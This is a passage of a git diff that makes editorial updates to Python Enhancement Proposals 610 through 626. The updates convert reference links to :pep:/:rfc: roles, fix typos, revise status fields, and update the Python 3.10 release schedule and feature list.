sufficient to reproduce `PEP440 Direct -References`_, as well as `Pipfile and Pipfile.lock`_ entries. Finally, they +URLs supported by pip`_. They are also sufficient to reproduce +:pep:`PEP440 Direct References <440#direct-references>`, +as well as `Pipfile and Pipfile.lock`_ entries. Finally, they are sufficient to record the branch, tag, and/or Git ref origin of the installed version that is already available for editable installs by virtue of a VCS checkout being present. @@ -205,7 +207,7 @@ from a requirement specifying a direct URL reference (including a VCS URL). This file MUST NOT be created when installing a distribution from an other type of requirement (i.e. name plus version specifier). -This JSON file MUST be a dictionary, compliant with `RFC 8259`_ and UTF-8 +This JSON file MUST be a dictionary, compliant with :rfc:`8259` and UTF-8 encoded. If present, it MUST contain at least two fields. The first one is ``url``, with @@ -270,8 +272,8 @@ present as a dictionary with the following key: - ``editable`` (type: ``boolean``): ``true`` if the distribution was installed in editable mode, ``false`` otherwise. If absent, default to ``false``. -When ``url`` refers to a local directory, it MUST have the ``file`` sheme -and be compliant with `RFC 8089`_. In particular, the path component must +When ``url`` refers to a local directory, it MUST have the ``file`` scheme +and be compliant with :rfc:`8089`. In particular, the path component must be absolute. Symbolic links SHOULD be preserved when making relative paths absolute. @@ -515,22 +517,22 @@ there are no backwards compatibility implications. Alternatives ============ -PEP426 source_url ------------------ +PEP 426 source_url +------------------ -The now withdrawn PEP 426 specifies a ``source_url`` metadata entry. +The now withdrawn :pep:`426` specifies a ``source_url`` metadata entry. It is also implemented in `distlib`_. It was intended for a slightly different purpose, for use in sdists. This format lacks support for the ``subdirectory`` option of pip requirement -URLs. The same limitation is present in `PEP440 Direct References`_. +URLs. The same limitation is present in :pep:`PEP440 Direct References <440#direct-references>`. It also lacks explicit support for `environment variables in the user:password part of URLs`_. The introduction of a key/value extensibility mechanism and support -for environment variables for user:password in PEP 440, would be necessary +for environment variables for user:password in :pep:`440`, would be necessary for use in this PEP. revision vs ref @@ -545,14 +547,10 @@ References .. _`pip issue #609`: https://github.com/pypa/pip/issues/609 .. _`thread on discuss.python.org`: https://discuss.python.org/t/pip-freeze-vcs-urls-and-pep-517-feat-editable-installs/1473 -.. _PEP440: http://www.python.org/dev/peps/pep-0440 .. _`VCS URLs supported by pip`: https://pip.pypa.io/en/stable/reference/pip_install/#vcs-support -.. _`PEP440 Direct References`: https://www.python.org/dev/peps/pep-0440/#direct-references .. _`Pipfile and Pipfile.lock`: https://github.com/pypa/pipfile .. _distlib: https://distlib.readthedocs.io .. _`environment variables in the user:password part of URLs`: https://pip.pypa.io/en/stable/reference/pip_install/#id10 -.. _`RFC 8259`: https://tools.ietf.org/html/rfc8259 -.. _`RFC 8089`: https://tools.ietf.org/html/rfc8089 .. _`Recording the Direct URL Origin of installed distributions`: https://packaging.python.org/specifications/direct-url Acknowledgements @@ -568,7 +566,8 @@ This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. - .. + +.. Local Variables: mode: indented-text indent-tabs-mode: nil diff --git a/pep-0611.rst b/pep-0611.rst index 510f71b89de..e267f6a6eaf 100644 --- a/pep-0611.rst +++ b/pep-0611.rst @@ -1,7 +1,7 @@ PEP: 611 Title: The one million limit Author: Mark Shannon -Status: Draft +Status: Withdrawn Type: Standards Track Content-Type: text/x-rst Created: 05-Dec-2019 @@ -38,7 +38,7 @@ It is unsafe as malicious or poorly generated code could cause values to exceed For example, line numbers are represented by 32 bit values internally. This is inefficient, given that modules almost never exceed a few thousand lines. -Despite being inefficient, is still vulnerable to overflow as +Despite being inefficient, it is still vulnerable to overflow as it is easy for an attacker to created a module with billions of newline characters. Memory access is usually a limiting factor in the performance of modern CPUs. diff --git a/pep-0612.rst b/pep-0612.rst index 9df747e4fdc..f624a82d156 100644 --- a/pep-0612.rst +++ b/pep-0612.rst @@ -3,7 +3,7 @@ Title: Parameter Specification Variables Author: Mark Mendoza Sponsor: Guido van Rossum BDFL-Delegate: Guido van Rossum -Discussions-To: Typing-Sig +Discussions-To: typing-sig@python.org Status: Accepted Type: Standards Track Content-Type: text/x-rst @@ -18,9 +18,9 @@ Abstract -------- There currently are two ways to specify the type of a callable, the -``Callable[[int, str], bool]`` syntax defined in `PEP 484 -`_\ , and callback protocols from `PEP -544 `_. Neither of +``Callable[[int, str], bool]`` syntax defined in :pep:`484`, +and callback protocols from :pep:`PEP +544 <544#callback-protocols>`. Neither of these support forwarding the parameter types of one callable over to another callable, making it difficult to annotate function decorators. This PEP proposes ``typing.ParamSpec`` and ``typing.Concatenate`` to @@ -56,12 +56,12 @@ function, is an instance of the Python idiom of one function passing all arguments given to it over to another function. This is done through the combination of the ``*args`` and ``**kwargs`` features in both parameters and in arguments. When one defines a function (like ``inner``\ ) that takes ``(*args, -**kwargs)`` and goes on to call another function with ``(*args, **kwargs)``\ -, the wrapping function can only be safely called in all of the ways that the +**kwargs)`` and goes on to call another function with ``(*args, **kwargs)``, +the wrapping function can only be safely called in all of the ways that the wrapped function could be safely called. To type this decorator, we’d like to be able to place a dependency between the parameters of the callable ``f`` and the -parameters of the returned function. `PEP 484 -`_ supports dependencies between +parameters of the returned function. :pep:`484` +supports dependencies between single types, as in ``def append(l: typing.List[T], e: T) -> typing.List[T]: ...``\ , but there is no existing way to do so with a complicated entity like the parameters of a function. @@ -435,7 +435,7 @@ afforded to us by this set up: ``Tuple[P.args, ...]`` as would be with a normal annotation (and likewise with the ``**kwargs``\ ) - * This special case is necessary to encapsulate the heterogenous contents + * This special case is necessary to encapsulate the heterogeneous contents of the ``args``/``kwargs`` of a given call, which cannot be expressed by an indefinite tuple/dictionary type. diff --git a/pep-0613.rst b/pep-0613.rst index f11c5625921..92c5bde6f71 100644 --- a/pep-0613.rst +++ b/pep-0613.rst @@ -22,7 +22,7 @@ Motivation ========== Type aliases are declared as top level variable assignments. -In `PEP 484 `_, +In :pep:`PEP 484 <484#type-aliases>`, the distinction between a valid type alias and a global variable was implicitly determined: if a top level assignment is unannotated, and the assigned value is a valid type, then the name being assigned to is a valid type alias. Otherwise, @@ -58,7 +58,7 @@ cannot be used as a return annotation because it is not a valid type. :: - MyType: TypeAlias = “ClassName” + MyType: TypeAlias = "ClassName" def foo() -> MyType: ... Explicit aliases remove ambiguity so neither of the above errors will be @@ -95,6 +95,17 @@ across the codebase can be suppressed. Scope Restrictions: ******************* +:: + + class Foo: + x = ClassName + y: TypeAlias = ClassName + z: Type[ClassName] = ClassName + +Type aliases are valid within class scope, both implicitly (``x``) and +explicitly (``y``). If the line should be interpreted as a class +variable, it must be explicitly annotated (``z``). + :: x = ClassName @@ -103,7 +114,7 @@ Scope Restrictions: The outer ``x`` is a valid type alias, but type checkers must error if the inner ``x`` is ever used as a type because type aliases cannot be defined -inside a nested scope. +inside of a function. This is confusing because the alias declaration rule is not explicit, and because a type error will not be thrown on the location of the inner type alias declaration but rather on every one of its subsequent use cases. @@ -116,10 +127,10 @@ but rather on every one of its subsequent use cases. def bar() -> None: x: TypeAlias = ClassName -With explicit aliases, the outer assignment is still a valid type variable, -and the inner assignment can either be a valid local variable or a clear error, -communicating to the author that type aliases cannot be defined inside a nested -scope. +With explicit aliases, the outer assignment is still a valid type variable. +Inside ``foo``, the inner assignment should be interpreted as ``x: Type[ClassName]``. +Inside ``bar``, the type checker should raise a clear error, communicating +to the author that type aliases cannot be defined inside a function. Specification @@ -153,7 +164,7 @@ Explicit syntax: x: Type[int] = int # typed global expression x: TypeAlias = int # type alias - x: TypeAlias = “MyClass” # type alias + x: TypeAlias = "MyClass" # type alias Note: The examples above illustrate implicit and explicit alias declarations in @@ -200,6 +211,14 @@ appealing because it still sticks with the ``MyType = int`` assignment syntax, and adds some information for the type checker purely as an annotation. +Version History +=============== + +* 2021-11-16 + + * Allow TypeAlias inside class scope + + Copyright ========= diff --git a/pep-0615.rst b/pep-0615.rst index 18dd4340c29..f415c4a9a0a 100644 --- a/pep-0615.rst +++ b/pep-0615.rst @@ -7,7 +7,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 22-Feb-2020 Python-Version: 3.9 -Post-History: 2020-02-25, 2020-03-29 +Post-History: 25-Feb-2020, 29-Mar-2020 Replaces: 431 @@ -54,8 +54,8 @@ time zone database (also called the "tz" database or the Olson database [#tzdb-wiki]_). The time zone database is in the public domain and is widely distributed — it is present by default on many Unix-like operating systems. Great care goes into the stability of the database: there are IETF RFCs both -for the maintenance procedures (RFC 6557 [#rfc6557]_) and for the compiled -binary (TZif) format (RFC 8636 [#rfc8536]_). As such, it is likely that adding +for the maintenance procedures (:rfc:`6557`) and for the compiled +binary (TZif) format (:rfc:`8536`). As such, it is likely that adding support for the compiled outputs of the IANA database will add great value to end users even with the relatively long cadence of standard library releases. @@ -642,7 +642,7 @@ minimal real world effects were it to occur. Including ``tzdata`` in the standard library by default ------------------------------------------------------- -Although PEP 453 [#pep453-ensurepip]_, which introduced the ``ensurepip`` +Although :pep:`453`, which introduced the ``ensurepip`` mechanism to CPython, provides a convenient template for a standard library module maintained on PyPI, a potentially similar ``ensuretzdata`` mechanism is somewhat less necessary, and would be complicated enough that it is considered @@ -673,9 +673,9 @@ is not used by the ``zoneinfo`` module. Using a ``pytz``-like interface ------------------------------- -A ``pytz``-like ([#pytz]_) interface was proposed in PEP 431 [#pep431]_, but +A ``pytz``-like ([#pytz]_) interface was proposed in :pep:`431`, but was ultimately withdrawn / rejected for lack of ambiguous datetime support. -PEP 495 [#pep495]_ added the ``fold`` attribute to address this problem, but +:pep:`495` added the ``fold`` attribute to address this problem, but ``fold`` obviates the need for ``pytz``'s non-standard ``tzinfo`` classes, and so a ``pytz``-like interface is no longer necessary. [#fastest-footgun]_ @@ -738,7 +738,7 @@ There are several other schemes that were considered and rejected: One advantage to this scheme would be that it would add a natural extension point for specifying non-file-based elements on the search path, such as changing the priority of ``tzdata`` if it exists, or if native support for - TZDIST [#rfc7808]_ were to be added to the library in the future. + :rfc:`TZDIST <7808>` were to be added to the library in the future. This was rejected mainly because these sort of special values are not usually found in ``PATH``-like variables and the only currently proposed use @@ -814,7 +814,7 @@ Arguments against this: imported), and it is a perennial source of confusion for end users. This confusing requirement from end-users can be avoided using a - module-level ``__getattr__`` and ``__dir__`` per PEP 562, but this would + module-level ``__getattr__`` and ``__dir__`` per :pep:`562`, but this would add some complexity to the implementation of the ``datetime`` module. This sort of behavior in modules or classes tends to confuse static analysis tools, which may not be desirable for a library as widely used and critical @@ -864,18 +864,6 @@ Footnotes References ========== -.. [#rfc6557] - RFC 6557: Procedures for Maintaining the Time Zone Database - https://tools.ietf.org/html/rfc6557 - -.. [#rfc7808] - RFC 7808: Time Zone Data Distribution Service - https://tools.ietf.org/html/rfc7808 - -.. [#rfc8536] - RFC 8536: The Time Zone Information Format (TZif) - https://tools.ietf.org/html/rfc8536 - .. [#nontransitive_comp] Paul Ganssle: "A curious case of non-transitive datetime comparison" (Published 15 February 2018) @@ -915,18 +903,6 @@ References Davis) https://pyfound.blogspot.com/2019/05/russell-keith-magee-python-on-other.html -.. [#pep453-ensurepip] - PEP 453: Explicit bootstrapping of pip in Python installations - https://www.python.org/dev/peps/pep-0453/ - -.. [#pep431] - PEP 431: Time zone support improvements - https://www.python.org/dev/peps/pep-0431/ - -.. [#pep495] - PEP 495: Local Time Disambiguation - https://www.python.org/dev/peps/pep-0495/ - .. [#tzinfo] ``datetime.tzinfo`` documentation https://docs.python.org/3/library/datetime.html#datetime.tzinfo diff --git a/pep-0616.rst b/pep-0616.rst index 3890d941973..ce51a3471de 100644 --- a/pep-0616.rst +++ b/pep-0616.rst @@ -232,7 +232,7 @@ rejected on the following grounds: * This behavior can be surprising or visually confusing, especially when one prefix is empty or is a substring of another prefix, as in - ``'FooBar'.removeprefix(('', 'Foo')) == 'Foo'`` + ``'FooBar'.removeprefix(('', 'Foo')) == 'FooBar'`` or ``'FooBar text'.removeprefix(('Foo', 'FooBar ')) == 'Bar text'``. * The API for ``str.replace()`` only accepts a single pair of diff --git a/pep-0617.rst b/pep-0617.rst index 3edf936146e..a1a0f77ad36 100644 --- a/pep-0617.rst +++ b/pep-0617.rst @@ -1,11 +1,11 @@ -PEP: 0617 +PEP: 617 Title: New PEG parser for CPython Version: $Revision$ Last-Modified: $Date$ Author: Guido van Rossum , - Pablo Galindo , - Lysandros Nikolaou -Discussions-To: Python-Dev + Pablo Galindo , + Lysandros Nikolaou +Discussions-To: python-dev@python.org Status: Accepted Type: Standards Track Content-Type: text/x-rst @@ -158,7 +158,7 @@ machinery in CPython that motivates the need for a new parser. Some rules are not actually LL(1) --------------------------------- -Although the Python grammar is technically an LL(1) grammar (because is parsed by +Although the Python grammar is technically an LL(1) grammar (because it is parsed by an LL(1) parser) several rules are not LL(1) and several workarounds are implemented in the grammar and in other parts of CPython to deal with this. For example, consider the rule for assignment expressions:: @@ -472,7 +472,7 @@ that parses grammar files is bootstrapped from a meta-grammar file with Python actions that generate the grammar tree as a result of the parsing. In the specific case of the new proposed PEG grammar for Python, having -actions allows to directly describe how the AST is composed in the grammar +actions allows directly describing how the AST is composed in the grammar itself, making it more clear and maintainable. This AST generation process is supported by the use of some helper functions that factor out common AST object manipulations and some other required operations that are not directly @@ -585,8 +585,8 @@ The full meta-grammar for the grammars supported by the PEG generator is: | "?" { "?" } | ":" { ":" } -As an illustrative example this simple grammar file allows to directly -generate a full parser that can parse simple arithmetic expressions and that +As an illustrative example this simple grammar file allows directly +generating a full parser that can parse simple arithmetic expressions and that returns a valid C-based Python AST: :: diff --git a/pep-0618.rst b/pep-0618.rst index d678c4f283d..5e908f6c9be 100644 --- a/pep-0618.rst +++ b/pep-0618.rst @@ -164,7 +164,7 @@ Add ``itertools.zip_strict`` ---------------------------- This is the alternative with the most support on the Python-Ideas -mailing list, so it deserves do be discussed in some detail here. It +mailing list, so it deserves to be discussed in some detail here. It does not have any disqualifying flaws, and could work well enough as a substitute if this PEP is rejected. diff --git a/pep-0619.rst b/pep-0619.rst index 9b357db140b..c8051849534 100644 --- a/pep-0619.rst +++ b/pep-0619.rst @@ -19,11 +19,10 @@ items. .. Small features may be added up to the first beta release. Bugs may be fixed until the final release, - which is planned for end of October 2021. + which is planned for October 2021. Release Manager and Crew ======================== - - 3.10 Release Manager: Pablo Galindo Salgado - Windows installers: Steve Dower - Mac installers: Ned Deily @@ -38,7 +37,7 @@ Release Schedule Note: the dates below use a 17-month development period that results in a 12-month release cadence between major versions, as defined by -PEP 602. +:pep:`602`. Actual: @@ -48,24 +47,38 @@ Actual: - 3.10.0 alpha 3: Monday, 2020-12-07 - 3.10.0 alpha 4: Monday, 2021-01-04 - 3.10.0 alpha 5: Wednesday, 2021-02-03 - -Expected: - - 3.10.0 alpha 6: Monday, 2021-03-01 -- 3.10.0 alpha 7: Monday, 2021-04-05 - +- 3.10.0 alpha 7: Tuesday, 2021-04-06 - 3.10.0 beta 1: Monday, 2021-05-03 (No new features beyond this point.) - -- 3.10.0 beta 2: Tuesday, 2021-05-25 +- 3.10.0 beta 2: Monday, 2021-05-31 - 3.10.0 beta 3: Thursday, 2021-06-17 - 3.10.0 beta 4: Saturday, 2021-07-10 -- 3.10.0 candidate 1: Monday, 2021-08-02 -- 3.10.0 candidate 2: Monday, 2021-09-06 (if necessary) +- 3.10.0 candidate 1: Tuesday, 2021-08-03 +- 3.10.0 candidate 2: Tuesday, 2021-09-07 - 3.10.0 final: Monday, 2021-10-04 -Subsequent bugfix releases every two months. +Bugfix releases +--------------- + +Actual: + +- 3.10.1: Monday, 2021-12-06 +- 3.10.2: Monday, 2022-01-14 +- 3.10.3: Wednesday, 2022-03-16 +- 3.10.4: Thursday, 2022-03-24 +- 3.10.5: Monday, 2022-06-06 + +Expected: + +- 3.10.6: Monday, 2022-08-01 +- 3.10.7: Monday, 2022-10-03 +- 3.10.8: Monday, 2022-12-05 +- 3.10.9: Monday, 2023-02-06 + +Final regular bugfix release with binary installers: +- 3.10.10: Monday, 2023-04-03 3.10 Lifespan ------------- @@ -83,7 +96,15 @@ Features for 3.10 Some of the notable features of Python 3.10 include: +* :pep:`604`, Allow writing union types as ``X | Y`` +* :pep:`612`, Parameter Specification Variables +* :pep:`613`, Explicit Type Aliases * :pep:`618`, Add Optional Length-Checking To ``zip`` +* :pep:`626`, Precise line numbers for debugging and other tools +* :pep:`634`, :pep:`635`, :pep:`636`, Structural Pattern Matching +* :pep:`644`, Require OpenSSL 1.1.1 or newer +* :pep:`624`, Remove Py_UNICODE encoder APIs +* :pep:`597`, Add optional EncodingWarning Copyright diff --git a/pep-0620.rst b/pep-0620.rst index d1f7ebbafb5..4dd4254f381 100644 --- a/pep-0620.rst +++ b/pep-0620.rst @@ -36,9 +36,9 @@ The C API blocks CPython evolutions Adding or removing members of C structures is causing multiple backward compatibility issues. -Adding a new member breaks the stable ABI (PEP 384), especially for +Adding a new member breaks the stable ABI (:pep:`384`), especially for types declared statically (e.g. ``static PyTypeObject MyType = -{...};``). In Python 3.4, the PEP 442 "Safe object finalization" added +{...};``). In Python 3.4, the :pep:`442` "Safe object finalization" added the ``tp_finalize`` member at the end of the ``PyTypeObject`` structure. For ABI backward compatibility, a new ``Py_TPFLAGS_HAVE_FINALIZE`` type flag was required to announce if the type structure contains the @@ -163,12 +163,12 @@ Hiding implementation details from the C API has multiple advantages: Relationship with the limited C API ----------------------------------- -The PEP 384 "Defining a Stable ABI" is implemented in Python 3.4. It introduces the +The :pep:`384` "Defining a Stable ABI" is implemented in Python 3.4. It introduces the "limited C API": a subset of the C API. When the limited C API is used, it becomes possible to build a C extension only once and use it on multiple Python versions: that's the stable ABI. -The main limitation of the PEP 384 is that C extensions have to opt-in +The main limitation of the :pep:`384` is that C extensions have to opt-in for the limited C API. Only very few projects made this choice, usually to ease distribution of binaries, especially on Windows. @@ -313,7 +313,7 @@ not only ``PyObject*``, to avoid compiler warnings, since most macros cast their parameters to ``PyObject*``. Python 3.6 requires C compilers to support static inline functions: the -PEP 7 requires a subset of C99. +:pep:`7` requires a subset of C99. **STATUS**: Completed (in Python 3.9) @@ -377,7 +377,7 @@ Making ``PyTypeObject`` structure opaque breaks C extensions declaring types statically (e.g. ``static PyTypeObject MyType = {...};``). C extensions must use ``PyType_FromSpec()`` to allocate types on the heap instead. Using heap types has other advantages like being compatible -with subinterpreters. Combined with PEP 489 "Multi-phase extension +with subinterpreters. Combined with :pep:`489` "Multi-phase extension module initialization", it makes a C extension behavior closer to a Python module, like allowing to create more than one module instance. diff --git a/pep-0621.rst b/pep-0621.rst index 50cccb9489d..b1405e830f7 100644 --- a/pep-0621.rst +++ b/pep-0621.rst @@ -6,10 +6,11 @@ Author: Brett Cannon , Pradyun Gedam , Sébastien Eustace , Thomas Kluyver , - Tzu-Ping Chung + Tzu-ping Chung Discussions-To: https://discuss.python.org/t/pep-621-round-3/5472 -Status: Provisional +Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 22-Jun-2020 Post-History: 22-Jun-2020, @@ -26,11 +27,6 @@ Abstract This PEP specifies how to write a project's `core metadata`_ in a ``pyproject.toml`` file for packaging-related tools to consume. -.. note:: - This PEP has been provisionally accepted. The provisional nature - of the acceptance will be lifted on 2021-03-01 or when a fully - functioning implementation exists, whichever comes first. - Motivation ========== @@ -253,8 +249,9 @@ The table may have one of two keys. The ``file`` key has a string value that is a relative file path to the file which contains the license for the project. Tools MUST assume the file's encoding is UTF-8. The ``text`` key has a string value which is the license of the -project. These keys are mutually exclusive, so a tool MUST raise an -error if the metadata specifies both keys. +project whose meaning is that of the ``License`` field from the +`core metadata`_. These keys are mutually exclusive, so a tool MUST +raise an error if the metadata specifies both keys. A practical string value for the ``license`` key has been purposefully left out to allow for a future PEP to specify support for SPDX_ @@ -286,7 +283,7 @@ meaning is open to interpretation. These fields accept an array of tables with 2 keys: ``name`` and ``email``. Both values must be strings. The ``name`` value MUST be a valid email name (i.e. whatever can be put as a name, before an email, -in `RFC #822`_) and not contain commas. The ``email`` value MUST be a +in :rfc:`822`) and not contain commas. The ``email`` value MUST be a valid email address. Both keys are optional. Using the data to fill in `core metadata`_ is as follows: @@ -297,7 +294,8 @@ Using the data to fill in `core metadata`_ is as follows: ``Author-email``/``Maintainer-email`` as appropriate. 3. If both ``email`` and ``name`` are provided, the value goes in ``Author-email``/``Maintainer-email`` as appropriate, with the - format ``{name} <{email}>``. + format ``{name} <{email}>`` (with appropriate quoting, e.g. using + ``email.headerregistry.Address``). 4. Multiple values should be separated by commas. ``keywords`` @@ -354,7 +352,7 @@ Entry points - Format: Table (``[project.scripts]``, ``[project.gui-scripts]``, and ``[project.entry-points]``) - `Core metadata`_: N/A; - `Entry point specification `_ + `Entry points specification`_ - Synonyms - Flit_: ``[tool.flit.scripts]`` table for console scripts, @@ -367,11 +365,11 @@ Entry points There are three tables related to entry points. The ``[project.scripts]`` table corresponds to the ``console_scripts`` -group in the `core metadata`_. The key of the table is the name of the +group in the `entry points specification`_. The key of the table is the name of the entry point and the value is the object reference. The ``[project.gui-scripts]`` table corresponds to the ``gui_scripts`` -group in the `core metadata`_. Its format is the same as +group in the `entry points specification`_. Its format is the same as ``[project.scripts]``. The ``[project.entry-points]`` table is a collection of tables. Each @@ -493,10 +491,10 @@ Example ] [project.urls] - homepage = "example.com" - documentation = "readthedocs.org" - repository = "github.com" - changelog = "github.com/me/spam/blob/master/CHANGELOG.md" + homepage = "https://example.com" + documentation = "https://readthedocs.org" + repository = "https://github.com" + changelog = "https://github.com/me/spam/blob/master/CHANGELOG.md" [project.scripts] spam-cli = "spam:main_cli" @@ -723,7 +721,7 @@ CC0-1.0-Universal license, whichever is more permissive. .. _survey of tools: https://github.com/uranusjr/packaging-metadata-comparisons .. _trove classifiers: https://pypi.org/classifiers/ .. _SPDX: https://spdx.dev/ -.. _RFC #822: https://tools.ietf.org/html/rfc822 +.. _entry points specification: https://packaging.python.org/specifications/entry-points/ .. Local Variables: diff --git a/pep-0622.rst b/pep-0622.rst index 95770e6c073..075535d7499 100644 --- a/pep-0622.rst +++ b/pep-0622.rst @@ -9,15 +9,14 @@ Author: Brandt Bucher , Guido van Rossum , Talin BDFL-Delegate: -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Superseded Type: Standards Track Content-Type: text/x-rst Created: 23-Jun-2020 Python-Version: 3.10 -Post-History: 23-Jun-2020, 8-Jul-2020 +Post-History: 23-Jun-2020, 08-Jul-2020 Superseded-By: 634 -Resolution: Abstract @@ -880,7 +879,7 @@ the match suite, or after the match statement. However, the name will Technically, most such examples can be rewritten using guards and/or nested match statements, but this will be less readable and/or will produce less -efficient code. Essentially, most of the arguments in PEP 572 apply here +efficient code. Essentially, most of the arguments in :pep:`572` apply here equally. The wildcard ``_`` is not a valid name here. @@ -1037,8 +1036,8 @@ thus forcing people to add safety asserts like this:: else: assert False, "should never get here" -PEP 484 specifies that static type checkers should support exhaustiveness in -conditional checks with respect to enum values. PEP 586 later generalized this +:pep:`484` specifies that static type checkers should support exhaustiveness in +conditional checks with respect to enum values. :pep:`586` later generalized this requirement to literal types. This PEP further generalizes this requirement to @@ -1082,7 +1081,7 @@ and enum values are combined:: ... # Type-checking error: basic user unhandled -Obviously, no ``Matchable`` protocol (in terms of PEP 544) is needed, since +Obviously, no ``Matchable`` protocol (in terms of :pep:`544`) is needed, since every class is matchable and therefore is subject to the checks specified above. @@ -1169,7 +1168,7 @@ match:: Note that the above snippet actually fails at runtime with the current implementation of generic classes in the ``typing`` module, as well as -with builtin generic classes in the recently accepted PEP 585, because +with builtin generic classes in the recently accepted :pep:`585`, because they prohibit ``isinstance`` checks. To clarify, generic classes are not prohibited in general from participating @@ -1225,7 +1224,7 @@ Precise type checking of star matches Type checkers should perform precise type checking of star items in pattern matching giving them either a heterogeneous ``list[T]`` type, or -a ``TypedDict`` type as specified by PEP 589. For example:: +a ``TypedDict`` type as specified by :pep:`589`. For example:: stuff: Tuple[int, str, str, float] @@ -1278,7 +1277,7 @@ desire to break or deprecate. The difference between hard and soft keywords is that hard keywords are *always* reserved words, even in positions where they make no sense (e.g. ``x = class + 1``), while soft keywords only get a special -meaning in context. Since PEP 617 the parser backtracks, that means that on +meaning in context. Since :pep:`617` the parser backtracks, that means that on different attempts to parse a code fragment it could interpret a soft keyword differently. @@ -1555,7 +1554,7 @@ ambiguous with capture patterns. Five other alternatives were considered: case side: ... # Assigns side = entree[-1]. This works well with the recommendations for naming constants from - PEP 8. The main objection is that there's no other part of core + :pep:`8`. The main objection is that there's no other part of core Python where the case of a name is semantically significant. In addition, Python allows identifiers to use different scripts, many of which (e.g. CJK) don't have a case distinction. diff --git a/pep-0623.rst b/pep-0623.rst index c1d26354797..ce0227d5527 100644 --- a/pep-0623.rst +++ b/pep-0623.rst @@ -2,19 +2,21 @@ PEP: 623 Title: Remove wstr from Unicode Author: Inada Naoki BDFL-Delegate: Victor Stinner -Status: Accepted +Discussions-To: https://mail.python.org/archives/list/python-dev@python.org/thread/BO2TQHSXWL2RJMINWQQRBF5LANDDJNHH/ +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 25-Jun-2020 Python-Version: 3.10 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/VQKDIZLZ6HF2MLTNCUFURK2IFTXVQEYA/#VQKDIZLZ6HF2MLTNCUFURK2IFTXVQEYA Abstract ======== -PEP 393 deprecated some unicode APIs, and introduced ``wchar_t *wstr``, +:pep:`393` deprecated some unicode APIs, and introduced ``wchar_t *wstr``, and ``Py_ssize_t wstr_length`` in the Unicode structure to support -these deprecated APIs. [1]_ +these deprecated APIs. This PEP is planning removal of ``wstr``, and ``wstr_length`` with deprecated APIs using these members by Python 3.12. @@ -59,14 +61,14 @@ Rationale Python 4.0 is not scheduled yet ------------------------------- -PEP 393 introduced efficient internal representation of Unicode and +:pep:`393` introduced efficient internal representation of Unicode and removed border between "narrow" and "wide" build of Python. -PEP 393 was implemented in Python 3.3 which is released in 2012. Old +:pep:`393` was implemented in Python 3.3 which is released in 2012. Old APIs were deprecated since then, and the removal was scheduled in Python 4.0. -Python 4.0 was expected as next version of Python 3.9 when PEP 393 +Python 4.0 was expected as next version of Python 3.9 when :pep:`393` was accepted. But the next version of Python 3.9 is Python 3.10, not 4.0. This is why this PEP schedule the removal plan again. @@ -74,7 +76,7 @@ not 4.0. This is why this PEP schedule the removal plan again. Python 2 reached EOL -------------------- -Since Python 2 didn't have PEP 393 Unicode implementation, legacy +Since Python 2 didn't have :pep:`393` Unicode implementation, legacy APIs might help C extension modules supporting both of Python 2 and 3. But Python 2 reached the EOL in 2020. We can remove legacy APIs kept @@ -183,9 +185,6 @@ References They no longer cache the ``wchar_t*`` representation of string objects. -.. [1] PEP 393 -- Flexible String Representation - (https://www.python.org/dev/peps/pep-0393/) - Copyright ========= diff --git a/pep-0624.rst b/pep-0624.rst index 056023ddce6..30b6fb1baf0 100644 --- a/pep-0624.rst +++ b/pep-0624.rst @@ -1,7 +1,7 @@ PEP: 624 Title: Remove Py_UNICODE encoder APIs Author: Inada Naoki -Status: Draft +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 06-Jul-2020 @@ -30,7 +30,7 @@ This PEP proposes to remove deprecated ``Py_UNICODE`` encoder APIs in Python 3.1 .. note:: - `PEP 623 `_ propose to remove + :pep:`623` propose to remove Unicode object APIs relating to ``Py_UNICODE``. On the other hand, this PEP is not relating to Unicode object. These PEPs are split because they have different motivations and need different discussions. @@ -142,8 +142,8 @@ Remove these APIs in Python 3.11. They have been deprecated already. Alternative Ideas ================= -Replace ``Py_UNICODE*`` with ``PyObjct*`` ------------------------------------------ +Replace ``Py_UNICODE*`` with ``PyObject*`` +------------------------------------------ As described in the "Alternative APIs" section, some APIs don't have public alternative APIs accepting ``PyObject *unicode`` input. diff --git a/pep-0625.rst b/pep-0625.rst index 4b39fba1d7f..499011d57bb 100644 --- a/pep-0625.rst +++ b/pep-0625.rst @@ -5,6 +5,7 @@ Author: Tzu-ping Chung , Discussions-To: https://discuss.python.org/t/draft-pep-file-name-of-a-source-distribution/4686 Status: Draft Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 08-Jul-2020 Post-History: 08-Jul-2020 @@ -158,7 +159,8 @@ This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. - .. + +.. Local Variables: mode: indented-text indent-tabs-mode: nil diff --git a/pep-0626.rst b/pep-0626.rst index 32ffd3dd416..8598d01b61c 100644 --- a/pep-0626.rst +++ b/pep-0626.rst @@ -2,7 +2,7 @@ PEP: 626 Title: Precise line numbers for debugging and other tools. Author: Mark Shannon BDFL-Delegate: Pablo Galindo -Status: Accepted +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 15-Jul-2020 @@ -15,7 +15,7 @@ Abstract Python should guarantee that when tracing is turned on, "line" tracing events are generated for *all* lines of code executed and *only* for lines of code that are executed. -The ``f_lineo`` attribute of frame objects should always contain the expected line number. +The ``f_lineno`` attribute of frame objects should always contain the expected line number. During frame execution, the expected line number is the line number of source code currently being executed. After a frame has completed, either by returning or by raising an exception, the expected line number is the line number of the last line of source that was executed. @@ -282,11 +282,10 @@ Note that these functions are not part of the C-API, so will be need to be linke int ar_start; int ar_end; int ar_line; - int opaque1; - void *opaque2; + struct _opaque opaque; } PyCodeAddressRange; - void PyLineTable_InitAddressRange(char *linetable, int firstlineno, PyCodeAddressRange *range); + void PyLineTable_InitAddressRange(char *linetable, Py_ssize_t length, int firstlineno, PyCodeAddressRange *range); int PyLineTable_NextAddressRange(PyCodeAddressRange *range); int PyLineTable_PreviousAddressRange(PyCodeAddressRange *range); @@ -300,18 +299,22 @@ Note that these functions are not part of the C-API, so will be need to be linke The data in ``linetable`` is immutable, but its lifetime depends on its code object. For reliable operation, ``linetable`` should be copied into a local buffer before calling ``PyLineTable_InitAddressRange``. - Although these functions are not part of C-API, they will provided by all future versions of CPython. - The 